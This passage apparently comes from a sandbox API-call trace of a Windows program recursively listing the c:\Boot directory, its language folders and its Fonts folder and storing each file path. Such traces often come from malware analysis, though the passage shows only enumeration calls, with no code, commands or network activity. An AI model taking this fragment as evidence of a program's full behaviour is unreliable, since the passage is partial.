lpString1="c:\\Boot\\en-US\\bootmgr.exe.mui") returned="c:\\Boot\\en-US\\bootmgr.exe.mui" [0040.110] lstrlenW (lpString="c:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0040.110] lstrcpyW (in: lpString1=0x122b80, lpString2="c:\\Boot\\en-US\\bootmgr.exe.mui" | out: lpString1="c:\\Boot\\en-US\\bootmgr.exe.mui") returned="c:\\Boot\\en-US\\bootmgr.exe.mui" [0040.110] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.110] lstrcmpW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0040.110] lstrcmpW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0040.110] lstrlenW (lpString="c:\\Boot\\en-US\\") returned 14 [0040.110] lstrlenW (lpString="memtest.exe.mui") returned 15 [0040.110] lstrcatW (in: lpString1="c:\\Boot\\en-US\\", lpString2="memtest.exe.mui" | out: lpString1="c:\\Boot\\en-US\\memtest.exe.mui") returned="c:\\Boot\\en-US\\memtest.exe.mui" [0040.110] lstrlenW (lpString="c:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0040.110] lstrcpyW (in: lpString1=0x122bc8, lpString2="c:\\Boot\\en-US\\memtest.exe.mui" | out: lpString1="c:\\Boot\\en-US\\memtest.exe.mui") returned="c:\\Boot\\en-US\\memtest.exe.mui" [0040.110] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 0 [0040.110] FindClose (in: hFindFile=0x775d18 | out: hFindFile=0x775d18) returned 1 [0040.110] FindNextFileW (in: hFindFile=0x775cd8, lpFindFileData=0x3defc8 | out: lpFindFileData=0x3defc8) returned 1 [0040.110] lstrcmpW (lpString1="es-ES", lpString2=".") returned 1 [0040.110] lstrcmpW (lpString1="es-ES", lpString2="..") returned 1 [0040.110] lstrlenW (lpString="c:\\Boot\\") returned 8 [0040.110] lstrlenW (lpString="es-ES") returned 5 [0040.110] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="es-ES" | out: lpString1="c:\\Boot\\es-ES") returned="c:\\Boot\\es-ES" [0040.110] lstrcatW (in: lpString1="c:\\Boot\\es-ES", lpString2="\\" | out: lpString1="c:\\Boot\\es-ES\\") returned="c:\\Boot\\es-ES\\" [0040.110] lstrlenW (lpString="c:\\Boot\\es-ES\\") returned 14 [0040.110] lstrcatW (in: lpString1="c:\\Boot\\es-ES\\", lpString2="*" | out: lpString1="c:\\Boot\\es-ES\\*") returned="c:\\Boot\\es-ES\\*" [0040.110] FindFirstFileW (in: lpFileName="c:\\Boot\\es-ES\\*", lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 0x775d18 [0040.110] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0040.110] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.110] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0040.110] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0040.110] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.110] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0040.110] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0040.111] lstrlenW (lpString="c:\\Boot\\es-ES\\") returned 14 [0040.111] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0040.111] lstrcatW (in: lpString1="c:\\Boot\\es-ES\\", lpString2="bootmgr.exe.mui" | out: lpString1="c:\\Boot\\es-ES\\bootmgr.exe.mui") returned="c:\\Boot\\es-ES\\bootmgr.exe.mui" [0040.111] lstrlenW (lpString="c:\\Boot\\es-ES\\bootmgr.exe.mui") returned 29 [0040.111] lstrcpyW (in: lpString1=0x122c10, lpString2="c:\\Boot\\es-ES\\bootmgr.exe.mui" | out: lpString1="c:\\Boot\\es-ES\\bootmgr.exe.mui") returned="c:\\Boot\\es-ES\\bootmgr.exe.mui" [0040.111] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 0 [0040.111] FindClose (in: hFindFile=0x775d18 | out: hFindFile=0x775d18) returned 1 [0040.111] FindNextFileW (in: hFindFile=0x775cd8, lpFindFileData=0x3defc8 | out: lpFindFileData=0x3defc8) returned 1 [0040.111] lstrcmpW (lpString1="fi-FI", lpString2=".") returned 1 [0040.111] lstrcmpW (lpString1="fi-FI", lpString2="..") returned 1 [0040.111] lstrlenW (lpString="c:\\Boot\\") returned 8 [0040.111] lstrlenW (lpString="fi-FI") returned 5 [0040.111] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="fi-FI" | out: lpString1="c:\\Boot\\fi-FI") returned="c:\\Boot\\fi-FI" [0040.111] lstrcatW (in: lpString1="c:\\Boot\\fi-FI", lpString2="\\" | out: lpString1="c:\\Boot\\fi-FI\\") returned="c:\\Boot\\fi-FI\\" [0040.111] lstrlenW (lpString="c:\\Boot\\fi-FI\\") returned 14 [0040.111] lstrcatW (in: lpString1="c:\\Boot\\fi-FI\\", lpString2="*" | out: lpString1="c:\\Boot\\fi-FI\\*") returned="c:\\Boot\\fi-FI\\*" [0040.111] FindFirstFileW (in: lpFileName="c:\\Boot\\fi-FI\\*", lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 0x775d18 [0040.111] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0040.111] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.111] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0040.111] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0040.111] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.111] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0040.111] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0040.111] lstrlenW (lpString="c:\\Boot\\fi-FI\\") returned 14 [0040.111] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0040.111] lstrcatW (in: lpString1="c:\\Boot\\fi-FI\\", lpString2="bootmgr.exe.mui" | out: lpString1="c:\\Boot\\fi-FI\\bootmgr.exe.mui") returned="c:\\Boot\\fi-FI\\bootmgr.exe.mui" [0040.111] lstrlenW (lpString="c:\\Boot\\fi-FI\\bootmgr.exe.mui") returned 29 [0040.111] lstrcpyW (in: lpString1=0x122c58, lpString2="c:\\Boot\\fi-FI\\bootmgr.exe.mui" | out: lpString1="c:\\Boot\\fi-FI\\bootmgr.exe.mui") returned="c:\\Boot\\fi-FI\\bootmgr.exe.mui" [0040.111] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 0 [0040.111] FindClose (in: hFindFile=0x775d18 | out: hFindFile=0x775d18) returned 1 [0040.111] FindNextFileW (in: hFindFile=0x775cd8, lpFindFileData=0x3defc8 | out: lpFindFileData=0x3defc8) returned 1 [0040.111] lstrcmpW (lpString1="Fonts", lpString2=".") returned 1 [0040.111] lstrcmpW (lpString1="Fonts", lpString2="..") returned 1 [0040.111] lstrlenW (lpString="c:\\Boot\\") returned 8 [0040.111] lstrlenW (lpString="Fonts") returned 5 [0040.111] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="Fonts" | out: lpString1="c:\\Boot\\Fonts") returned="c:\\Boot\\Fonts" [0040.111] lstrcatW (in: lpString1="c:\\Boot\\Fonts", lpString2="\\" | out: lpString1="c:\\Boot\\Fonts\\") returned="c:\\Boot\\Fonts\\" [0040.111] lstrlenW (lpString="c:\\Boot\\Fonts\\") returned 14 [0040.111] lstrcatW (in: lpString1="c:\\Boot\\Fonts\\", lpString2="*" | out: lpString1="c:\\Boot\\Fonts\\*") returned="c:\\Boot\\Fonts\\*" [0040.111] FindFirstFileW (in: lpFileName="c:\\Boot\\Fonts\\*", lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 0x775d18 [0040.111] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0040.112] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.112] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0040.112] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0040.112] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.112] lstrcmpW (lpString1="chs_boot.ttf", lpString2=".") returned 1 [0040.112] lstrcmpW (lpString1="chs_boot.ttf", lpString2="..") returned 1 [0040.112] lstrlenW (lpString="c:\\Boot\\Fonts\\") returned 14 [0040.112] lstrlenW (lpString="chs_boot.ttf") returned 12 [0040.112] lstrcatW (in: lpString1="c:\\Boot\\Fonts\\", lpString2="chs_boot.ttf" | out: lpString1="c:\\Boot\\Fonts\\chs_boot.ttf") returned="c:\\Boot\\Fonts\\chs_boot.ttf" [0040.112] lstrlenW (lpString="c:\\Boot\\Fonts\\chs_boot.ttf") returned 26 [0040.112] lstrcpyW (in: lpString1=0x122ca0, lpString2="c:\\Boot\\Fonts\\chs_boot.ttf" | out: lpString1="c:\\Boot\\Fonts\\chs_boot.ttf") returned="c:\\Boot\\Fonts\\chs_boot.ttf" [0040.112] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.112] lstrcmpW (lpString1="cht_boot.ttf", lpString2=".") returned 1 [0040.112] lstrcmpW (lpString1="cht_boot.ttf", lpString2="..") returned 1 [0040.112] lstrlenW (lpString="c:\\Boot\\Fonts\\") returned 14 [0040.112] lstrlenW (lpString="cht_boot.ttf") returned 12 [0040.112] lstrcatW (in: lpString1="c:\\Boot\\Fonts\\", lpString2="cht_boot.ttf" | out: lpString1="c:\\Boot\\Fonts\\cht_boot.ttf") returned="c:\\Boot\\Fonts\\cht_boot.ttf" [0040.112] lstrlenW (lpString="c:\\Boot\\Fonts\\cht_boot.ttf") returned 26 [0040.112] lstrcpyW (in: lpString1=0x122ce0, lpString2="c:\\Boot\\Fonts\\cht_boot.ttf" | out: lpString1="c:\\Boot\\Fonts\\cht_boot.ttf") returned="c:\\Boot\\Fonts\\cht_boot.ttf" [0040.112] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.112] lstrcmpW (lpString1="jpn_boot.ttf", lpString2=".") returned 1 [0040.112] lstrcmpW (lpString1="jpn_boot.ttf", lpString2="..") returned 1 [0040.112] lstrlenW (lpString="c:\\Boot\\Fonts\\") returned 14 [0040.112] lstrlenW (lpString="jpn_boot.ttf") returned 12 [0040.112] lstrcatW (in: lpString1="c:\\Boot\\Fonts\\", lpString2="jpn_boot.ttf" | out: lpString1="c:\\Boot\\Fonts\\jpn_boot.ttf") returned="c:\\Boot\\Fonts\\jpn_boot.ttf" [0040.112] lstrlenW (lpString="c:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0040.112] lstrcpyW (in: lpString1=0x122d20, lpString2="c:\\Boot\\Fonts\\jpn_boot.ttf" | out: lpString1="c:\\Boot\\Fonts\\jpn_boot.ttf") returned="c:\\Boot\\Fonts\\jpn_boot.ttf" [0040.112] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.112] lstrcmpW (lpString1="kor_boot.ttf", lpString2=".") returned 1 [0040.112] lstrcmpW (lpString1="kor_boot.ttf", lpString2="..") returned 1 [0040.112] lstrlenW (lpString="c:\\Boot\\Fonts\\") returned 14 [0040.112] lstrlenW (lpString="kor_boot.ttf") returned 12 [0040.112] lstrcatW (in: lpString1="c:\\Boot\\Fonts\\", lpString2="kor_boot.ttf" | out: lpString1="c:\\Boot\\Fonts\\kor_boot.ttf") returned="c:\\Boot\\Fonts\\kor_boot.ttf" [0040.112] lstrlenW (lpString="c:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0040.112] lstrcpyW (in: lpString1=0x122d60, lpString2="c:\\Boot\\Fonts\\kor_boot.ttf" | out: lpString1="c:\\Boot\\Fonts\\kor_boot.ttf") returned="c:\\Boot\\Fonts\\kor_boot.ttf" [0040.112] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.112] lstrcmpW (lpString1="wgl4_boot.ttf", lpString2=".") returned 1 [0040.112] lstrcmpW (lpString1="wgl4_boot.ttf", lpString2="..") returned 1 [0040.112] lstrlenW (lpString="c:\\Boot\\Fonts\\") returned 14 [0040.112] lstrlenW (lpString="wgl4_boot.ttf") returned 13 [0040.112] lstrcatW (in: lpString1="c:\\Boot\\Fonts\\", lpString2="wgl4_boot.ttf" | out: lpString1="c:\\Boot\\Fonts\\wgl4_boot.ttf") returned="c:\\Boot\\Fonts\\wgl4_boot.ttf" [0040.112] lstrlenW (lpString="c:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0040.112] lstrcpyW (in: lpString1=0x122da0, lpString2="c:\\Boot\\Fonts\\wgl4_boot.ttf" | out: lpString1="c:\\Boot\\Fonts\\wgl4_boot.ttf") returned="c:\\Boot\\Fonts\\wgl4_boot.ttf" [0040.112] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 0 [0040.112] FindClose (in: hFindFile=0x775d18 | out: hFindFile=0x775d18) returned 1 [0040.113] FindNextFileW (in: hFindFile=0x775cd8, lpFindFileData=0x3defc8 | out: lpFindFileData=0x3defc8) returned 1 [0040.113] lstrcmpW (lpString1="fr-FR", lpString2=".") returned 1 [0040.113] lstrcmpW (lpString1="fr-FR", lpString2="..") returned 1 [0040.113] lstrlenW (lpString="c:\\Boot\\") returned 8 [0040.113] lstrlenW (lpString="fr-FR") returned 5 [0040.113] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="fr-FR" | out: lpString1="c:\\Boot\\fr-FR") returned="c:\\Boot\\fr-FR" [0040.113] lstrcatW (in: lpString1="c:\\Boot\\fr-FR", lpString2="\\" | out: lpString1="c:\\Boot\\fr-FR\\") returned="c:\\Boot\\fr-FR\\" [0040.113] lstrlenW (lpString="c:\\Boot\\fr-FR\\") returned 14 [0040.113] lstrcatW (in: lpString1="c:\\Boot\\fr-FR\\", lpString2="*" | out: lpString1="c:\\Boot\\fr-FR\\*") returned="c:\\Boot\\fr-FR\\*" [0040.113] FindFirstFileW (in: lpFileName="c:\\Boot\\fr-FR\\*", lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 0x775d18 [0040.113] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0040.113] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.113] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0040.113] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0040.113] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.113] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0040.113] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0040.113] lstrlenW (lpString="c:\\Boot\\fr-FR\\") returned 14 [0040.113] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0040.113] lstrcatW (in: lpString1="c:\\Boot\\fr-FR\\", lpString2="bootmgr.exe.mui" | out: lpString1="c:\\Boot\\fr-FR\\bootmgr.exe.mui") returned="c:\\Boot\\fr-FR\\bootmgr.exe.mui" [0040.113] lstrlenW (lpString="c:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0040.113] lstrcpyW (in: lpString1=0x122de0, lpString2="c:\\Boot\\fr-FR\\bootmgr.exe.mui" | out: lpString1="c:\\Boot\\fr-FR\\bootmgr.exe.mui") returned="c:\\Boot\\fr-FR\\bootmgr.exe.mui" [0040.113] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 0 [0040.113] FindClose (in: hFindFile=0x775d18 | out: hFindFile=0x775d18) returned 1 [0040.113] FindNextFileW (in: hFindFile=0x775cd8, lpFindFileData=0x3defc8 | out: lpFindFileData=0x3defc8) returned 1 [0040.113] lstrcmpW (lpString1="hu-HU", lpString2=".") returned 1 [0040.113] lstrcmpW (lpString1="hu-HU", lpString2="..") returned 1 [0040.113] lstrlenW (lpString="c:\\Boot\\") returned 8 [0040.113] lstrlenW (lpString="hu-HU") returned 5 [0040.113] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="hu-HU" | out: lpString1="c:\\Boot\\hu-HU") returned="c:\\Boot\\hu-HU" [0040.113] lstrcatW (in: lpString1="c:\\Boot\\hu-HU", lpString2="\\" | out: lpString1="c:\\Boot\\hu-HU\\") returned="c:\\Boot\\hu-HU\\" [0040.113] lstrlenW (lpString="c:\\Boot\\hu-HU\\") returned 14 [0040.113] lstrcatW (in: lpString1="c:\\Boot\\hu-HU\\", lpString2="*" | out: lpString1="c:\\Boot\\hu-HU\\*") returned="c:\\Boot\\hu-HU\\*" [0040.113] FindFirstFileW (in: lpFileName="c:\\Boot\\hu-HU\\*", lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 0x775d18 [0040.113] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0040.113] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.113] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0040.113] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0040.113] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.113] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0040.114] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0040.114] lstrlenW (lpString="c:\\Boot\\hu-HU\\") returned 14 [0040.114] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0040.114] lstrcatW (in: lpString1="c:\\Boot\\hu-HU\\", lpString2="bootmgr.exe.mui" | out: lpString1="c:\\Boot\\hu-HU\\bootmgr.exe.mui") returned="c:\\Boot\\hu-HU\\bootmgr.exe.mui" [0040.114] lstrlenW (lpString="c:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0040.114] lstrcpyW (in: lpString1=0x122e28, lpString2="c:\\Boot\\hu-HU\\bootmgr.exe.mui" | out: lpString1="c:\\Boot\\hu-HU\\bootmgr.exe.mui") returned="c:\\Boot\\hu-HU\\bootmgr.exe.mui" [0040.114] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 0 [0040.114] FindClose (in: hFindFile=0x775d18 | out: hFindFile=0x775d18) returned 1 [0040.114] FindNextFileW (in: hFindFile=0x775cd8, lpFindFileData=0x3defc8 | out: lpFindFileData=0x3defc8) returned 1 [0040.114] lstrcmpW (lpString1="it-IT", lpString2=".") returned 1 [0040.114] lstrcmpW (lpString1="it-IT", lpString2="..") returned 1 [0040.114] lstrlenW (lpString="c:\\Boot\\") returned 8 [0040.114] lstrlenW (lpString="it-IT") returned 5 [0040.114] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="it-IT" | out: lpString1="c:\\Boot\\it-IT") returned="c:\\Boot\\it-IT" [0040.114] lstrcatW (in: lpString1="c:\\Boot\\it-IT", lpString2="\\" | out: lpString1="c:\\Boot\\it-IT\\") returned="c:\\Boot\\it-IT\\" [0040.114] lstrlenW (lpString="c:\\Boot\\it-IT\\") returned 14 [0040.114] lstrcatW (in: lpString1="c:\\Boot\\it-IT\\", lpString2="*" | out: lpString1="c:\\Boot\\it-IT\\*") returned="c:\\Boot\\it-IT\\*" [0040.114] FindFirstFileW (in: lpFileName="c:\\Boot\\it-IT\\*", lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 0x775d18 [0040.114] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0040.114] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.114] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0040.114] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0040.114] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.114] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0040.114] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0040.114] lstrlenW (lpString="c:\\Boot\\it-IT\\") returned 14 [0040.114] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0040.114] lstrcatW (in: lpString1="c:\\Boot\\it-IT\\", lpString2="bootmgr.exe.mui" | out: lpString1="c:\\Boot\\it-IT\\bootmgr.exe.mui") returned="c:\\Boot\\it-IT\\bootmgr.exe.mui" [0040.114] lstrlenW (lpString="c:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0040.114] lstrcpyW (in: lpString1=0x122e70, lpString2="c:\\Boot\\it-IT\\bootmgr.exe.mui" | out: lpString1="c:\\Boot\\it-IT\\bootmgr.exe.mui") returned="c:\\Boot\\it-IT\\bootmgr.exe.mui" [0040.114] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 0 [0040.114] FindClose (in: hFindFile=0x775d18 | out: hFindFile=0x775d18) returned 1 [0040.114] FindNextFileW (in: hFindFile=0x775cd8, lpFindFileData=0x3defc8 | out: lpFindFileData=0x3defc8) returned 1 [0040.114] lstrcmpW (lpString1="ja-JP", lpString2=".") returned 1 [0040.114] lstrcmpW (lpString1="ja-JP", lpString2="..") returned 1 [0040.114] lstrlenW (lpString="c:\\Boot\\") returned 8 [0040.114] lstrlenW (lpString="ja-JP") returned 5 [0040.114] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="ja-JP" | out: lpString1="c:\\Boot\\ja-JP") returned="c:\\Boot\\ja-JP" [0040.114] lstrcatW (in: lpString1="c:\\Boot\\ja-JP", lpString2="\\" | out: lpString1="c:\\Boot\\ja-JP\\") returned="c:\\Boot\\ja-JP\\" [0040.114] lstrlenW (lpString="c:\\Boot\\ja-JP\\") returned 14 [0040.114] lstrcatW (in: lpString1="c:\\Boot\\ja-JP\\", lpString2="*" | out: lpString1="c:\\Boot\\ja-JP\\*") returned="c:\\Boot\\ja-JP\\*" [0040.114] FindFirstFileW (in: lpFileName="c:\\Boot\\ja-JP\\*", lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 0x775d18 [0040.115] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0040.115] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.115] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0040.115] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0040.115] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.115] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0040.115] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0040.115] lstrlenW (lpString="c:\\Boot\\ja-JP\\") returned 14 [0040.115] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0040.115] lstrcatW (in: lpString1="c:\\Boot\\ja-JP\\", lpString2="bootmgr.exe.mui" | out: lpString1="c:\\Boot\\ja-JP\\bootmgr.exe.mui") returned="c:\\Boot\\ja-JP\\bootmgr.exe.mui" [0040.115] lstrlenW (lpString="c:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0040.115] lstrcpyW (in: lpString1=0x122eb8, lpString2="c:\\Boot\\ja-JP\\bootmgr.exe.mui" | out: lpString1="c:\\Boot\\ja-JP\\bootmgr.exe.mui") returned="c:\\Boot\\ja-JP\\bootmgr.exe.mui" [0040.115] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 0 [0040.115] FindClose (in: hFindFile=0x775d18 | out: hFindFile=0x775d18) returned 1 [0040.115] FindNextFileW (in: hFindFile=0x775cd8, lpFindFileData=0x3defc8 | out: lpFindFileData=0x3defc8) returned 1 [0040.115] lstrcmpW (lpString1="ko-KR", lpString2=".") returned 1 [0040.115] lstrcmpW (lpString1="ko-KR", lpString2="..") returned 1 [0040.115] lstrlenW (lpString="c:\\Boot\\") returned 8 [0040.115] lstrlenW (lpString="ko-KR") returned 5 [0040.115] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="ko-KR" | out: lpString1="c:\\Boot\\ko-KR") returned="c:\\Boot\\ko-KR" [0040.115] lstrcatW (in: lpString1="c:\\Boot\\ko-KR", lpString2="\\" | out: lpString1="c:\\Boot\\ko-KR\\") returned="c:\\Boot\\ko-KR\\" [0040.115] lstrlenW (lpString="c:\\Boot\\ko-KR\\") returned 14 [0040.115] lstrcatW (in: lpString1="c:\\Boot\\ko-KR\\", lpString2="*" | out: lpString1="c:\\Boot\\ko-KR\\*") returned="c:\\Boot\\ko-KR\\*" [0040.115] FindFirstFileW (in: lpFileName="c:\\Boot\\ko-KR\\*", lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 0x775d18 [0040.115] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0040.115] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.115] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0040.115] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0040.115] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.115] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0040.115] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0040.115] lstrlenW (lpString="c:\\Boot\\ko-KR\\") returned 14 [0040.115] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0040.115] lstrcatW (in: lpString1="c:\\Boot\\ko-KR\\", lpString2="bootmgr.exe.mui" | out: lpString1="c:\\Boot\\ko-KR\\bootmgr.exe.mui") returned="c:\\Boot\\ko-KR\\bootmgr.exe.mui" [0040.115] lstrlenW (lpString="c:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0040.115] lstrcpyW (in: lpString1=0x122f00, lpString2="c:\\Boot\\ko-KR\\bootmgr.exe.mui" | out: lpString1="c:\\Boot\\ko-KR\\bootmgr.exe.mui") returned="c:\\Boot\\ko-KR\\bootmgr.exe.mui" [0040.115] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 0 [0040.115] FindClose (in: hFindFile=0x775d18 | out: hFindFile=0x775d18) returned 1 [0040.115] FindNextFileW (in: hFindFile=0x775cd8, lpFindFileData=0x3defc8 | out: lpFindFileData=0x3defc8) returned 1 [0040.115] lstrcmpW (lpString1="memtest.exe", lpString2=".") returned 1 [0040.115] lstrcmpW (lpString1="memtest.exe", lpString2="..") returned 1 [0040.115] lstrlenW (lpString="c:\\Boot\\") returned 8 [0040.115] lstrlenW (lpString="memtest.exe") returned 11 [0040.116] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="memtest.exe" | out: lpString1="c:\\Boot\\memtest.exe") returned="c:\\Boot\\memtest.exe" [0040.116] lstrlenW (lpString="c:\\Boot\\memtest.exe") returned 19 [0040.116] lstrcpyW (in: lpString1=0x122f48, lpString2="c:\\Boot\\memtest.exe" | out: lpString1="c:\\Boot\\memtest.exe") returned="c:\\Boot\\memtest.exe" [0040.116] FindNextFileW (in: hFindFile=0x775cd8, lpFindFileData=0x3defc8 | out: lpFindFileData=0x3defc8) returned 1 [0040.116] lstrcmpW (lpString1="nb-NO", lpString2=".") returned 1 [0040.116] lstrcmpW (lpString1="nb-NO", lpString2="..") returned 1 [0040.116] lstrlenW (lpString="c:\\Boot\\") returned 8 [0040.116] lstrlenW (lpString="nb-NO") returned 5 [0040.116] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="nb-NO" | out: lpString1="c:\\Boot\\nb-NO") returned="c:\\Boot\\nb-NO" [0040.116] lstrcatW (in: lpString1="c:\\Boot\\nb-NO", lpString2="\\" | out: lpString1="c:\\Boot\\nb-NO\\") returned="c:\\Boot\\nb-NO\\" [0040.116] lstrlenW (lpString="c:\\Boot\\nb-NO\\") returned 14 [0040.116] lstrcatW (in: lpString1="c:\\Boot\\nb-NO\\", lpString2="*" | out: lpString1="c:\\Boot\\nb-NO\\*") returned="c:\\Boot\\nb-NO\\*" [0040.116] FindFirstFileW (in: lpFileName="c:\\Boot\\nb-NO\\*", lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 0x775d18 [0040.116] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0040.116] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.116] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0040.116] 